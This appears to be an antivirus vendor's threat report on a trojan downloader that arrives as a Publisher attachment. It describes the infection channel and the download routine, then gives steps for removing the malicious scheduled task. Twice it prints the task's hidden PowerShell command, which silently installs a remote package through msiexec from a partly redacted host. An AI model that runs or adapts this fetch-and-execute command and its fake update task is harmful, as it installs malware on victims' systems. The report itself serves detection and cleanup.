Analysis by: Warren Adam Sto. Tomas
ALIASES:

VBA/TrojanDownloader.Agent.LNC trojan (Nod32); Trojan.Gen.MBT (Norton)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Spammed via email, Downloaded from the Internet, Dropped by other malware

This Trojan arrives as attachment to mass-mailed email messages. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 93,184 bytes
File Type: PUB
Memory Resident: No
Payload: Adds scheduled tasks

Arrival Details

This Trojan arrives as attachment to mass-mailed email messages.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}ficepage.com/TabSvc

Other Details

This Trojan does the following:

It adds the following scheduled tasks:

  • "Shceduled update task"
    • Author = "Microsoft Corp"
    • Description = "Start update process at a certain time"
    • Execute once starting 18 seconds after execution until 33 minutes after execution
    • Executes powershell.exe -executionpolicy bypass -noprofile -w hidden -c & "msiexec" url1=gmail url2=com /q /i http://{BLOCKED}ficepage.com/TabSvc

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.644.04
FIRST VSAPI PATTERN DATE: 23 Nov 2018
VSAPI OPR PATTERN File: 14.645.00
VSAPI OPR PATTERN Date: 24 Nov 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:  

  • "Start update process at a certain time" - powershell.exe -executionpolicy bypass -noprofile -w hidden -c & "msiexec" url1=gmail url2=com /q /i http://{BLOCKED}ficepage.com/TabSvc

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.RMSRAT.THAABCAH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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